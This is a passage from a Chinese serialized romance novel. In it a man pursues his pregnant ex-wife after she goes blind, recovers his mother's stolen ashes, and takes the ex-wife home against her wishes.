他痛苦且无奈地望着女人精致的小脸,“南伊,别这么对我好吗?我的心里从来没有好受过,我不求别的,只求能留在你身边,别拒绝我,好吗?”
不知道为何。
宋南伊听得心很烦。
尤其是霍时序那闪着泪光的眼睛。
她真的看一眼,就像要窒息一般。
她推开他。
快步走出了病房大楼。
新鲜的空气中,她呼吸总算是通畅。
他是魔鬼吗?
可能是吧。
宋南伊给宁时打了个电话,交代了一下医院的事情,准备回家,暂时躲避霍时序。
谁知。
她前脚进家门。
霍时序就摁响了家里的门铃。
他知道她在,他也知道她不会开门,但他就是不想离开。
不知道过了多久。
宋南伊才疲惫的走出来,给他开门,“霍时序,你真的没完没了,是不是?你想要折磨死我吗?我们好聚好散的不好吗?”
她红透的眼眶,令他心疼。
不管她如何挣扎,他依然拥紧了她。
“南伊,你知道吗?我从小就没有妈妈,我对母爱的渴望,是你们任何人都想象不到的,在我知道我有妈妈,在我知道我妈病重的时候,我曾不顾一切的,想让她好起来……南伊,对不起,因为我的自私,让你受了那么大的伤害,我该死,但我更想弥补对你的亏欠,别离开我好吗?”
他身子颤抖。
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他知道,无论他讲什么,伤害已经造成,任何语言在此时都是苍白无力。
但他就是想说。
如果让他回去,再选择一次。
他一定会毫不犹豫地选择宋南伊。
宋南伊心乱了。
但她的痛苦,抵过了他所谓的难处。
说什么都晚了。
“有什么用呢,星言**,我妈也**,前世,他们没死的,死的是我,我宁愿这一世,死的还是我,但不是,霍时序,你知道失去亲人的滋味吗?明明他们可以不用死的。”
宋南伊哽咽。
一想到这些,她就无法控制喷涌而上的恨意。
“我知道,我知道南伊,我知道你比谁都难受,让我陪着,让我们一起努力,渡过这些痛苦好吗?”
宋南伊摇头。
她怎么可能跟罪魁祸首,一起平息这些难过呢。
他不懂的。
他一点都不懂。
“我累了,霍时序,你回去吧,我需要睡一觉。”
宋南伊推开了霍时序。
她转身回到房间,轻轻地关上了房门。
他没离开。
一个人在楼下坐着。
他的心里有一种难以形容的苦涩和酸楚。
涌到他的喉间。
上不来,又下不去。
就像有一只无形的大手,扼紧了他的命脉一般,活着难受,死也不见得能好。
宋南伊睡得并不安稳。
她醒来时,天已经擦黑。
手机上是陆为谦发来的几条讯息,还有他拍的宋知令吃饭的照片。
“南伊,宋叔他很爱吃我做的鱼,你别担心,好好在家里休息,今晚我留下来陪着。”
“晚餐出去吃点爱吃的,再没有胃口也不能不吃饭,你和宝宝都需要营养。”
宋南伊阅读完信息。
给陆为谦拨去了电话。
“陆律师,晚上让宁时守着我爸就好,你回去休息吧,爸爸他晚上睡得还不错,别担心。”
“跟我别见外,我跟宋叔挺聊得来的,多陪他一会儿没问题的。”陆为谦声音明朗,“如果实在不需要我陪,我晚一点就回去。”
“嗯。”
简单聊了几句。
宋南伊披了件睡衣,下了楼。
厨房里,油烟机开着,发出沉闷的嗡鸣。
霍时序戴着围裙,正在里面做晚餐。
第102章 咬我
前世,他追求她那会儿。
不止是做饭这种事情,上厕所,他都要抱着她去。
他爱得热烈,甘心情愿。
她原以为,她嫁对了人。
可她忘了,男人的新鲜期很短。
短到,她还没来得及不爱他,他就已经开始伤害她。
听到动静。
男人擦了擦手,从厨房里走出来,“你醒了,我炖了燕窝,你喝一点。”
他的声线本就好听。
压着嗓子,变温柔的时候,格外惑人。
只是宋南伊现在无感,“你怎么还没走?”
她没有胃口,疲惫地坐进沙发里,倦怠得厉害。
他轻轻地坐到她身边,抚着她的发丝,像哄个孩子般的,“我等你吃过饭了,就走。”
她抬眸。
四目相对,尽是陌生。
对于宋南伊而言,这样付出行动的挽回,毫无意义。
他累。
她更累。
“没用的霍时序,你别再做无用功了。”
“我心甘情愿的。”他笑着。
宋南伊痛苦地摇头,“我不会原谅你的,无论你做什么。”
她咬着唇,眼眸轻颤,强忍着夺眶而出的泪水。
她承认,有时候,真的控制不了自己的情绪。
不是因为还爱着他。
是对过去自己经受苦难的……回味。
一遍又一遍,她的心如何能承受得住呢。
“别咬。”他指尖虚抚着她的唇,满眼的疼惜,“你可以咬我,别咬自己,我会心疼的。”
眼泪涌出。
宋南伊脆弱不堪。
他将她抱进怀里,吻上她颤抖的唇,带着抱歉和懊悔。
一千句,一万句的对不起,也难以抵消三条人命,他罪无可恕,他知道。
他不知道说了多少遍的对不起。
都没有换来她的回应。
她给不了没关系。
永远给不了。
为了肚子里的宝宝,宋南伊勉为其难的,喝了霍时序炖的燕窝。
她没什么精神。
吃过后,便上楼继续睡。
霍时序什么时候走的,她不清楚。
早晨起来的时候,人已经不在。
邓雪打来电话,说要见个老客户谈续约的事情,“老板,这老胡挺能难缠的,每年的合同,都签得很费劲,但他除了签合同费劲,后面的工作还挺好说话的,这次您看……”
“约在哪儿了?”
“他最喜欢的那家四季春餐厅。”
“见一面。”
“是。”
宋南伊强打精神出了门。
在餐厅门口和邓雪碰了头。
邓雪怕宋南伊忘了胡德栋的德性,提醒她,“这人特别能喝,您以前没怀孕,还可以跟他意思几杯,今天,他要是灌您酒,您可别喝啊,我替您挡着。”
谈业务。
在酒桌上,难免不会性情。
珠宝这一行,接触的有很大一部分是暴发户。
他们就喜欢人前显贵。
以前,宋南伊还可以陪着周旋几个来回。
今天……
“看看再说吧,他知道我怀孕了,要是再灌我酒,这生意也不必做了。”
“那倒也是。”
走过包厢。
胡德栋已经早早就座,身边的助理看见宋南伊来,忙请她入座。
“宋总,咱们胡总可等您好久了,这说什么,也得自罚三杯吧?”
他将倒好的酒,举了一杯到宋南伊的面前。
邓雪伸手接了过来,“孙助,你这话说的,咱们可没有晚来哦,是你们早到了,没关系,我替宋总自罚一杯。”
邓雪一杯干了。
又辣又涩。
胡德栋看宋南伊没卖他面子,有些不悦,“宋总以前可不是这样啊。”
“不好意思啊胡总,我怀孕了,实在不能喝。”宋南伊纤瘦,小腹不算太大,但也微凸,不难看出来,她是带着身子。
胡德栋是江城人。
对宋南伊和霍时序的故事,略知一二。
“我听说宋总离婚了,那这孩子……”他抻过脑袋,好奇地端量着宋南伊的肚子,很不礼貌地说,“……看这月份,应该不是霍总的吧?”
“胡总……”邓雪一屁股坐到了二人中间,谄媚虚伪地笑着,“……这是咱们宋总的私事,就不好打听了吧。”
“你起一边去。”胡德栋不满,把邓雪一把扯开,坐到了宋南伊的身旁,“……宋总,咱们也是老朋友了,你这……”
他指指宋南伊的肚子,“……到底是不是霍总的?”
“胡总。”宋南伊抬眼看向胡德栋,小脸肃冷,“你是来谈合作的,还是打听谈八卦的?”
胡德栋以前对宋南伊还算尊重。
但看的是霍时序的面子,是霍家的面子。
如今,宋南伊离婚是事实。
少了霍家的光环,他自然不可能像从前一般的,对她毕恭毕敬。
“我看呀,也未必是霍总的,既然不是霍总的孩子,也就没那么矜贵,这酒,就别推辞了。”
胡德栋不讲理。
让助理给宋南伊倒了酒,摆在面前。
架势明摆着,用强。
宋南伊面色淡淡。
对于不讲人话的客户,她在心里,已经默默地拉进了黑名单。
邓雪刚要打几句圆场。
门,被人从外面推开。
霍时序一步迈了进来。
看到桌上摆着的白酒,他差一点当场掀了桌子。
“这酒谁倒的?”他质问。
胡德栋看到霍时序,毛都要炸了,咽着唾沫说,“霍,霍总,我是跟宋总开玩笑呢,她怀着孕,我怎么可能让她喝酒嘛,我们都是老朋友了,对吧,宋总。”
胡德栋用眼神求教。
宋南伊压根就不看他。
他便又软着态度,向霍时序解释,“霍,霍总,我真的,真的是……”
“看来胡总是喜欢喝酒。”
霍时序脱下外套,往江淮身上一扔,拿过两个大的酒杯,“既然这么爱喝,我替南伊跟你喝,今天怎么着,也把你陪尽兴了。”
“江淮,倒酒。”
江淮提起酒瓶。
胡德栋吓得肝颤。
这以前谈业务,霍时序也没有出现过啊。
今天,这是怎么……
离婚了,反而来镇场子了,这是演的哪一出?
酒倒好,他拿起来,立马就要干,“霍总,这杯我自罚,我不应该跟宋总开玩笑的,您大人大量,别跟我一般见识。”
霍时序抬手拦住。
他冷着眸子,看向大圆脸的男人,“胡总,这么喝可不行。”
霍时序漫不经心地拧开了一瓶辣椒油。
将其一股脑的,全倒进了酒杯。
“瞧这颜色,看起来,可真诱人,想必味道,更是合胡总的心意。”
霍时序动了个眼神。
胡德栋喉间吞咽。
这哪是让他喝酒,这必要是要整死他。
“霍总,这……”
“怎么?”男人压下墨色的眉梢。
胡德栋得罪不起霍时序。
“我,我……我喝。”
一咬牙,他端起酒杯干了。
接踵而至的就是,剧烈的咳嗽,和胃里的翻江倒海。
“邓雪,你跟你们宋总去外面,这里面乌烟瘴气的。”
邓雪扶起宋南伊,“知道了。”
胡德栋吃了苦头。
心口压抑着不满,“霍总,不瞒您说,我也是想替你出口气,我看那宋总的孩子,也未必是你的,指不定没跟你离婚的时候,就在外面有小白脸了,您啊心别太善良,被骗了还不知道。”
第103章 她从楼梯上摔了下来
“所以呢,你就要灌孕妇酒?”他抬手就给了胡德栋一个巴掌,打得他趔趄,“不管她怀着谁的孩子,孕妇不能喝酒这事,你不知道?”
“我,我……”胡德栋想解释什么。
但好像没有一个理由占得住脚。
霍时序厌恶地睨了他一眼,对着江淮说,“让胡总,长长记性。”
“是。”
灌酒的过程,太辣眼睛。
霍时序拢起衣服,走出了包厢。
他在人来人往的人群中,帅得很扎眼。
邓雪一眼就看到了他。
“老板,霍总过来了。”
一直失神的宋南伊这才抬眸看了过去。
他走到她身边,抬手揉了揉她的头顶,声音温柔,“吓坏了吧?以后这种人,不用给他脸,你越退步,他越觉得你好欺负。”
“我也没打算喝。”
她又不傻。
工作固然重要。
但跟宝宝的健康比不了。
起身,她还是向霍时序道了谢,“我们就先回去了。”
“我送你吧。”他抓住她的手腕,不像是商量,“送你到家,我就放心了。”
霍时序牵着宋南伊的手,往外走。
邓雪追了两步,便没再追过去。
或许,他们是有话要说的吧。
车子开得很慢。
他故意的。
难得跟她有独处的时间,他很珍惜。
憋了许久,他才吭哧出一句,“你现在怀着孕,工作上的事情,没必要搞得这么累。”
宋南伊确实很累。
不止身体。
她撑着脑袋,靠在车窗上,望向这灯红酒绿的世界。
有点迷糊。
她缓缓地闭起眼睛。
他察觉不对劲,伸手摸了摸她的额头,“怎么了,不舒服吗?嗯?这么烫?”
车子在路中央打了把方向,直接往医院开。
等到医院的时候。
宋南伊已经烧到几乎要失去意识。
他抱她,送去急救。
因为是孕妇,很多药不能用,为了安全起见,医生建议物理降温。
不得以,又从医院回到家里。
他一遍一遍地用酒精,替她擦着身体,手心,脚心,腋窝,甚至是大腿根部,都没有放过。
她的体温,慢慢的降了下来。
人也睡着。
他刚松了口气,手机响了起来。
是老宅陈伯打来的。
他心下一紧,忙接起,“陈伯?”
“孙少爷,咱们霍家墓园出事了,今天,我照例去打扫的时候,发现夫人她……她的墓被盗了。”
陈伯还没敢跟霍正诚讲。
先告知霍时序。
这种事情,闻所未闻。
他不知道该怎么办。
“你是我妈的墓被盗了?少什么了?”里面根本就没有陪葬品,难不成是……“不会是……”
“是啊孙少爷,夫人的骨灰盒不见了。”
陈伯急得跺脚。
霍时序握着手机的手指骨节,也泛起了白了。
“我马上回去。”
挂断手机,他脸黑如墨。
看了一眼床上女人,轻轻的在她额头上吻了吻,“我去去就来,你乖乖地睡觉。”
霍时序驱车离开。
一路狂奔,来到霍家的墓园。
墓被撅开。
里面空空荡荡。
“墓园的监控调了吗?”他问向陈伯。
陈伯摇头,又点头,“监控倒是有,就是那个人捂得太严实了,实在是看不出长什么样子。”
是男是女都难以分辨。
只要是有人。
就一定会有马脚露出来。
霍时序去调监控。
看着视频上的人,他仔细地辨认着……。
……
宋宅。
宋南伊迷迷糊糊的起来。
摸到床头上的温度计,她自己量了一下。
看上面的数字时,她感觉自己的眼睛出现了问题。
明明她不近视,看东西却像隔着一层雾气。
39度5.
又烧起来了。
头晕,恶心,她感觉不太好。
家里没人。
她摸索出手机,想给裴吟打个电话。
试图解锁屏幕时,愕然发现视线变得模糊不清。
她用手揉了揉双眼,试图驱散眼前的雾霭。
但无果,依旧朦胧一片。
宋南伊的心顿时慌乱,她感到前所未有的无助与恐惧。
随着意识的逐渐涣散,她茫然。
不知所措。
凭借着最后一丝清醒,她艰难地伸出手指,摁下语音助手的按键,微弱的:“帮我……打电话给裴……”
手机响了一声。
“小助手帮你拨打排在通话记录首位的号码……霍,时,序。请稍候。”
手机自动拨通了霍时序的号码。
空气中弥漫着死一般的寂静。
时间漫长,始终没人接听。
宋南伊的视线,在黑暗中逐渐涣散,仅余的一丝微弱的光感。
她凭借着求生的本能,想下楼求助。
命运却跟她开了个玩笑。
视力受阻,她一脚踏空,人失去平衡,紧接着就是翻滚下楼的声响,令人揪心。
“啊……”
随着宋南伊的痛苦尖叫。
人重重地滚落至最后的台阶。
宋南伊双手紧紧捂住腹部,传来的剧痛,如潮水般汹涌。
取而代之的,是身体下方缓缓蔓延开来的……红。
她,彻底地失去了意识……
……
霍时序沉着脸,从墓园走下来。
他基本上已经确定了,盗走母亲骨灰盒的人。
对陈伯吩咐道,“墓园找几个人轮班看守着,还有,把盗墓的地方收拾一下,骨灰马上就能找回来。”
“好的,孙少爷。”
回到车上。
霍时序的左眼皮跳了一下。
不安悄然。
他挂念着宋南伊,从手盒深处摸索出手机,屏幕上,几个未接来电,是宋南伊打的。
她给他打电话了?
是出事了吗?
不祥的预感令他心脏乱跳。
他迅速回拨过去,电话那头传来忙音,无人应答。
不甘心又回拨了一次,依然如此。
他彻底慌了。
容不得想太多,车子轰着油门,疾驰驶向宋家的方向……
……
宋南伊再醒来时。
人躺在医院城。
陆为谦面色焦急中,透出如释重负,“你醒了?吓死我了。”
“我……”宋南伊眼前是一片黑暗。
她伸出手来,想要触动什么,想要抓住什么,可是什么也抓不住,“……陆律师,我的眼睛……还有……”
她惊颤着小手,摸向自己的小腹。
“他……还在吗?我的宝宝还在吗?我记得我从楼梯上摔了下来,孩子还好吗?陆律师……”
宋南伊快要急哭了。
陆为谦握住了她的手,轻声安慰着,“宝宝还在,宝宝很坚强,他乖乖地在你肚子里,别担心。”
宋南伊流泪了。
宝宝还在,他很好,可她……看不见了。
“陆律师,医生说我的眼睛,怎么了?”
“发烧引发的失明,不过……”陆为谦解释着,希望她不要难过,“……医生说了,这个是暂时性的,说不定哪一天,你就可以看见了。”
她笑了。
说不定哪天是哪天?
一天,还是一辈子。
她瞎了。
无论这个世界是美好还是残酷,她都看不见了。
她的世界永远只有黑暗。
第104章 他要放弃她了
“南伊……”
霍时序猛地推开了病房的门。
看到陆为谦正握着宋南伊的手,一把推开了他。
“南伊,你怎么了……”他看着她脸上的伤痕,和空洞的双眸,心跳得很乱,“……对不起,我没有接到你的电话,对不起……”
宋南伊闭起眼睛。
将脸转到另一侧。
“对不起南伊,我应该守在你身边的,我错了,对不起,真的对不起……”
宋南伊不说话。
霍时序就一个劲地道歉。
陆为谦将霍时序叫到了病房外面,抬手就是一拳。
“南伊瞎了你知不知道?如果那通电话,你可以接起来,早一点回来将她送到医院,她或许不至于这样,医生说,她的眼睛,可能会永久性的失明,都是你霍时序……”
陆为谦攥着霍时序的领口,眼眸猩红,情绪爆裂。
他再次挥起拳头。
霍时序脸被重重打偏,满目的愕然。
宋南伊,她……看不见了?
怎么会这样?
他离开时,她的烧已退,安静睡着,一切都在好转。
为什么……
“霍时序,你还要害她到什么时候?你知道吗?她眼睛看不见,失足跌下了楼梯,送到医院的时候,全身都是血……如果不是上天保佑,她的孩子也已经……”
陆为谦哽咽。
眼泪打转。
说出的每一个字,都透着对宋南伊极致的心疼,和对眼前这个男人十足的愤恨。
“霍时序,她怀着的是你的孩子啊,你怎么可以这么对她,怎么可以……”
又是一记毫不留情的拳头。
打在了霍时序的左脸上。
瞬间,鼻子和唇角都流出了血。
这次,他没有还手。
他知道,他该打,打死也不过分。
“我不知道会发生这样的事情,我……”
陆为谦崩溃大哭。
“既然南伊在你心里,并没有那么重要,就不要再纠缠她了,放过她,放过她好吗?不要再出现在她面前,不让她再经受如此的痛苦,霍时序,算我求你……”
霍时序笑着。
眼泪和忏悔。
他也不知道老天爷为什么这样地戏弄他。
他那么在乎她。
为什么每次她出事,他都不在身边。
踉跄着站稳。
他痛苦地看向陆为谦,“麻烦你替我照顾好南伊,这几天,我要处理一些事情。”
是时候下定决心了。
抉择其实并不难。
他不会再让自己后悔。
看着霍时序的背影。
陆为谦不知道,这个时候,还有什么比宋南伊还要重要。
他说了这么多。
霍时序还是毅然决然地离开。
这个男人,真的是没有心吗?
他是要放弃她了吗?
放弃了好啊。
他早该放弃了。
“霍时序,我替南伊谢谢你,谢谢你的放手。”
男人没有回头。
唇角勾起一抹苦涩和坚持。
放弃?
他怎么会放弃她。
他不会的。
……
霍家墓园的山下。
一个戴着黑色头套的男人,被押跪在霍时序的面前。
他的脚踩在男人的肩头。
居高临下,像睥睨众生的王。
头套从男人的头上拿走。
强光刺激,他眯眯地慢慢睁开眼睛。
“霍,霍总……”看到霍时序如冷阎王般的脸,立马匍匐在了他的脚下。
“说吧,为什么要偷我母亲的骨灰盒?”
男人战战兢兢,吱吱唔唔,想说,又不敢说,“我,我,我不是故意的。”
脚从男人的肩头拿开,重重地踢向了他的脸。
力度很大,皮鞋在男人的脸上撕出一道血口子,人尖叫着后仰摔了出去。
江淮将他重新押好。
“你最好乖乖承认,否则,霍总的手段你是知道的,这里可是墓园。”
“霍总,我,我真的……你原,原谅我吧,下次我再也不敢了。”
“谁让你干的?”霍时序躬身,用脚尖挑起胆小男人的下巴,几分戏谑,“让我来猜猜,应该是……孙爱芸吧?”
男人震惊。
他知道霍家人的本事。
但他和孙爱芸的事情,霍家人没人知道。
怎么会……
“不,……”他刚要否认。
就被江淮重重地掌掴了一巴掌,恶狠狠的,“你以为你和孙爱芸,偷情这么多年,没人清楚?李建功,你想让孙爱芸拿着霍家的财产,跟你远走高飞,这美梦做得是不是太早了?”
“我,我……”他想解释。
又被迎面而来的巴掌,打得头晕目眩。
“你最好赶紧把骨灰盒交出来,否则,孙爱芸逃不了,你更是。”
面对江淮三番五次的警告。
这个叫李建功的男人,软了。
“是她让我偷的骨灰盒,她说你们霍家不仁义,她跟了霍明达那么多年,把她当外人就算了,这些年,该她得的,不该她得的,都没有,她气不过,所以才让我……”
李建功话没说完。
就被霍时序重重的一脚,踢飞了三米远。
“所以,你就偷了我母亲的骨灰?”该死。
“我,我也不想啊,但我,我也没有办法。”李建功捂着肚子,猛咳出一口血,“你别急霍总,我马上把骨灰盒还回来,马上……咳,咳……”
江淮去打了个电话。
很快孙爱芸和骨灰盒,一起带到了霍时序的面前。
孙爱芸对霍时序是忌惮的。
她从小把他带大是不假,暗地里使了多少坏,她知道,霍时序也知道。
她是心虚的。
不敢抬头看人。
“时序,妈知道错了,妈其实就是跟你开了个玩笑,妈现在把骨灰盒带来了,你赶紧带着你妈的骨灰,去埋了吧,别跟妈计较了。”
霍时序冷笑。
如此严重的事情,如此的轻描淡写。
他挺佩服她这种,临阵不乱的心态。
“说的好随便啊,不知道的,还以为你偷了只小狗小猫。”他的声音如同三九天的冰凌。
孙爱芸心里打鼓。
她知道,霍时序很在意他的母亲。
她也就一时生气,才犯了这种愚蠢的错误。
“时序,妈知道错了,妈在这儿给你道歉,你就别生气了,好不好?”
霍时序冷冷的垂眸。
握着椅子扶手的手背上,青筋爆起,骨节泛白。
他现在就可以把孙爱芸绞死。
但为了霍家……
理智告诉他,不能。
“江淮把‘妈’送到爷爷那儿,让他老人家处理,至于是死是活,看她自己的造化。”
“好的,霍总。”
孙爱芸松了口气。
再怎么说,这种小事,老爷子也不可能将她怎样。
算是逃过一劫。
李建功就没那么幸运。
从墓园离开后,他的名字就永远在江城消失……
……
霍时序捧着母亲的骨灰,重新将她葬于地下。
他开了瓶酒。
倒了一杯。
靠在母亲的墓碑旁,跟她讲着心里的话。
“妈,儿子无能,没救活你,反而让你在死前,遭受到了那么多的痛苦,这一杯,是儿子的对不起,妈,你别怪我。”
他仰头将白酒灌进喉咙。
又倒了第二杯。
“妈,你清醒的时候,跟我讲,要我跟媳妇好好过日子,等你病好了,就帮我们带孩子,我答应你,要带南伊来看望你,可我没有做到……对不起妈。”
第105章 男人有的是
酒。
辣。
倒进喉咙后,霍时序咳嗽了两声。
第三杯。
“妈,你在那边好好的照顾好自己,以后我要把全部的精力,用在照顾南伊的身上,她差一点流产,眼睛也看不见了,都是我害的,妈,我知道你也是怪我的对吗?我千方百计地想万全,可到最后,我谁也没有对得起……”
现在,他就要去弥补这一切。
他要一心一意陪着宋南伊。
他要做她的眼睛。
他要成为她的依靠。
“妈,我走了,前世今生的遗憾太多了,我不想再有遗憾了,你一定会帮我的对吗?”
霍时序三鞠躬。
转身,往山下走……
……
医院里。
宋南伊生病的事情,没敢告诉宋知令。
为了不让父亲担心。
她亲自给宋知令打了个电话。
“爸,我胎像不稳,医生建议我要休息一段时间。”
“怎么突然胎像不稳了?”宋知令满是担忧,“是不是最近太劳累了,怨爸,这早不病,晚不病的……”
宋知令尽是自责。
宋南伊听了难受,“爸,跟你没关系,你好好治病,我也好好地把胎养好,我们一起努力。”
“好。”宋知令心酸。
安排好一切。
宋南伊拜托陆为谦,办理了出院手续。
她要慢慢适应,这个世界带给她的黑暗。
“你一个人在家里,怎么生活啊?”陆为谦不放心。
宋南伊笑了笑,“我让凤姨回来照顾,不用担心,再说还有裴吟呢。”
她已经给裴吟打了电话。
裴吟会过来接她。
说话的功夫。
裴吟一步迈进了病房,“南伊。”
看到陆为谦在。
裴吟脸色略微有些不自在。
也就一瞬,她便将注意力落到了宋南伊的身上,“出院手续办好了吗?”
“陆律师已经帮忙办好了,咱们走吧。”
宋南伊看不见。
伸出手来摸。
裴吟赶紧握住她的手,“我扶着你,你慢一点。”
裴吟扶着宋南伊在前面走。
陆为谦不近不远地跟在后面。
裴吟小声跟宋南伊说话,“陆律师他……是不是向你表白了?”
“哪有的事儿。”宋南伊不知道裴吟,怎么突然问了这个,“我一直想撮合你们两个,我怎么可能跟他……,我和他充其量算是朋友。”
“可他对你有好感,任谁都能看得出来,我听说,他照顾叔叔已经有一段时间了。”
这点,宋南伊没否认,她只想让裴吟别误会,“裴吟,就算陆律师之前对我有好感,我现在这副样子,你觉得他会给自己找这个麻烦吗?人,都是现实的。”
“连喜当爹,他都愿意,你只不过是暂时看不见,这有什么不可能的。”裴吟也不是嫉妒,就是觉得陆为谦爱得不够光明正大,“其实吧,他喜欢你,我也没有意见,这是他的自由,但他老是畏畏缩缩的,我挺瞧不上的。”
“爱,本来就是不自由的,我们去爱一个人,不也是瞻前顾后,想很多吗?”宋南伊笑了,失去光明的眼睛,空洞的望向前方,“倒是你裴吟,你要真喜欢陆为谦,就去追嘛,何必在意他喜欢谁。”
“他又不喜欢我,我才不上赶着呢。”
感情的事情,很复杂。
她争取过了,他没给她机会。
男人有的是。
这事上,她看得很开。
宋南伊受过伤,所以不去强求裴吟,只要她开心就好。
二人说着话的功夫。
一抬眼,霍时序走了过来。
裴吟停下脚步。
宋南伊也跟着停下,她看不见,不知道发生了什么。
“怎么了?”
“你那烦人的前夫来了。”裴吟护犊子,挡在了宋南伊的面前。
霍时序的视线绕过裴吟。
落到了宋南伊的身上,“南伊,我来接你回家。”
“回什么家?”裴吟听得来气,真能自作主张,“你们早就离婚了,不是一个家,霍时序,你把南伊害成这样,还想接她回你身边,你是不是不害死她,不罢休?”
霍时序除了自责,最多的就是道不尽的抱歉。
“那只是场意外。”
“意外差点死人哪。”裴吟想揍人。
宋南伊看不见。
她紧紧地握着裴吟的手。
不想跟霍时序走,是真的。
“你走吧,我要回我自己的家。”
“南伊,给我机会,我会把你照顾好的。”他来,不是跟她商量的,他要接她走,回到属于他们的家里,“南伊,乖,听话。”
他走到二人面前,从裴吟的手里,抢走了宋南伊的手。
“南伊,你看不见没关系,你想要什么,我给,你想去哪儿,我陪着你。”
他知道她会拒绝。
没关系的。
他不介意她的排斥。
宋南伊心中不安,挣扎要让霍时序放手。
他不肯。
陆为谦不满霍时序强来,抓住了他的手腕,“明知道她不愿意,还非得强求,霍时序,你已经吓到南伊了,你这是为她好吗?你只会让她越来越讨厌你。”
“放开。”霍时序冷眸厉色。
他不喜欢别人来插手他的事情。
尤其是陆为谦。
“我就不放。”陆为谦跟他杠上了。
四目相对,猩红,破碎。
互不相让。
最终双拳难敌四手。
陆为谦再强势,也抵不过江淮带来的人。
霍时序就在陆为谦和裴吟面前,抱起宋南伊,将她大摇大摆地带走了。
裴吟气的骂娘。
“真不是个玩意,南伊落到他手里,该怎么办啊?”
陆为谦目光沉重。
望着车子的尾灯,一言不发。
……
车子里。
宋南伊沉默不语。
她现在看不见,自然不是霍时序的对手。
霍时序讨好地握着她的小手,在掌中摩挲着,珍重万千。
“我跟路姐讲了,她会把你照顾好的,我也会,南伊,我会找医生为你医治眼睛的,你别怕,黑暗只是暂时的,就算医生宣布你的眼睛这辈子都看不见了,也没关系的,我会把我的眼睛给你。”
他抱紧了她。
他想向她承诺自己的真心。
她很憔悴。
眼睛是看不见了,但她不需要他的照顾。
“霍时序,何必呢。”
“相信我,南伊,我会把你照顾得很好,很好。”
霍时序动情。
她扭过脸,回避。
路姐看到宋南伊回来,小心翼翼地搀着她往里走。
“太太,这里是台阶,你慢慢的。”
“我来吧路姐。”霍时序抱起宋南伊,从楼下到了楼上卧室。
卧室没变。
她看不见。
空气中,还是熟悉的味道。
香熏依旧是宋南伊喜欢的栀子花。
“这里跟你离开时一样。”他声音轻轻。
第106章 微凸的小腹,令他着迷
“南伊,放心把自己交给我,这一次,我绝不放开你的手。”
他承诺着。
更像是对自己说。
宋南伊失神的眸子,微微动了动,“霍时序,你自己信吗?”
“我是认真的,南伊,相信我。”他欠身,将她拥进怀里,“我们是夫妻,我们结婚时发过誓的,无论贫穷还是疾病,我们都不会放开彼此的手,你忘了吗?”
宋南伊哂。
她当然没忘。
男人就是这样,自己一无所有,希望老婆陪着吃苦。
一旦自己有了外心,什么誓言,什么爱情,都像一个笑话。
这样的笑话,闹了不少了。
她实在无力,再陪他演下去。
“我们现在不是夫妻,所谓的山盟海誓,早已经作废。”
“可我们现在有孩子了,难道你不想给孩子一个完整的家吗?南伊。”
宋南伊笑了。
刺骨的嘲弄。
为了孩子,还要强行将两个不再相爱,甚至有血海深仇的人绑在一起。
真的好没意思。
“你想多了。”
她冷得不像话。
转身,她离开有他的地方。
可她眼前一片漆黑,手所触摸的方向,没有给她一丁点的安全感。
她活在黑暗里,惶惶。
连走路都变得困难。
他伸手去扶她,被她拒绝,“不用。”
“南伊,别这样……”他知道她心里暂时无法接受他,只好将路姐叫上楼,“……路姐,你照顾一下南伊,我去联系医生。”
“好的,先生。”
有路姐在。
宋南伊放松了许多。
只是她变得很沉默。
胃口也奇差。
霍时序找遍了江城最著名的眼科医生,上门来为宋南伊会诊。
都不尽如人意。
有的医生说,她这是发烧的并发症。
有的说,她眼睛已经有了器质性的改变。
更有医生怀疑,眼睛暂时性的失明,可能是怀孕的缘故。
无论哪种说法,没有一个人,肯定地说,她这眼睛可以恢复视力。
宋南伊的世界里只有黑夜,没有白天。
她像是被封印一般,无论怎么挣扎,都在一片虚无之中。
令人压抑。
痛苦不堪。
霍时序如他自己所讲一样,尽心竭力地照顾着她。
每一件事情,都亲力亲为。
可她并不需要。
很多时候,她宁愿自己摸索着,也不愿意让他来帮忙。
“跟我客气什么?你哪里我没见过,洗个脸,你可摸索着来,洗澡地上多滑,万一摔倒了怎么办?南伊,你现在怀着孕,别耍小孩子脾气。”
他将她抱进浴室。
指尖轻柔地帮她脱掉了外面的睡袍。
她回头就甩了他一巴掌,“霍时序,你别耍流氓行不行?”
他摸了摸脸。
手劲还挺大的。
他没生气,反而脸上的笑意更浓了一些,“我想耍流氓,还用得着在这儿?乖乖的,别动。”
霍时序转身去给浴缸里放满了水。
水气氤氲,她感觉到了室内温度的变化。
“霍时序,你出去,你让路姐进来帮我,我不需要一个陌生的男人。”
“路姐睡了。”他并没有停下手上的动作,将她里面的睡裙拉链拉开,“乖一点,早点洗完,早点上床休息,嗯?”
浴室的水气越来越大。
宋南伊不敢乱动,生怕滑倒,只能由着霍时序帮她宽衣解带。
他心疼她。
怀了孕,身上也没几两肉。
他的大手轻轻的落到她凸起的小腹上,那一瞬间,特别神奇,就像……他亲手抱过了他们的孩子般。
“霍时序,你别乱动。”她反感,推了他一下。
霍时序将她抱起来,往浴缸旁走,“我就是有点感慨,南伊,你还是爱我的,否则,你不会怀我们的孩子,对吗?”
“这只是一个意外而已。”
“意外,你也留下了不是吗?”他轻轻的将她放进浴缸里,“南伊,我很期待,一个长的像你,又像我的宝宝,出现在我们的世界,我想,那时的我们一定非常的快乐。”
快乐?
他还真是乐观派。
“你出去吧,洗好我会叫你。”
霍时序听话地点头,“好,我就在外面。”
轻轻地关上门。
霍时序走到阳台,低头,看到了那片绿色的苗杆。
路姐说,那是宋南伊撒的玫瑰花的种子,今年就能开花。
他想,玫瑰开花的时候,他们应该有一个很完美的结局。
抽了根烟,递到唇上。
他抬手拢风,将其燃。
没吸,就那么衔在唇角,任由它燃尽。
……
夜深了。
宋南伊的腰上圈着霍时序的大手。
自从眼睛看不见,她的世界日夜颠倒。
霍时序睡得很熟。
她却异常清醒。
心里唯一的想法,就是逃走。
可他不去霍氏,也不出门,她每走一步,他都拾进眼里。
想离开,谈何容易。
不太舒服,她翻了个身。
男人的大手摁着她的背,将她的小脸搁在自己的胸口,“怎么了?睡不着?那我陪你说说话?”
“霍时序,你何必软禁着我呢,这样只会让我更恨你。”
她是自由的。
任何人都不能这样对她。
“南伊,我没有软禁你,你现在看不见,一个人怎么生活,我怎么能放心?我只想照顾你,等你眼睛好了,我就放你。”
他在她的额头吻了一下。
她软软的,香香的。
会让他想到从前很多事情。
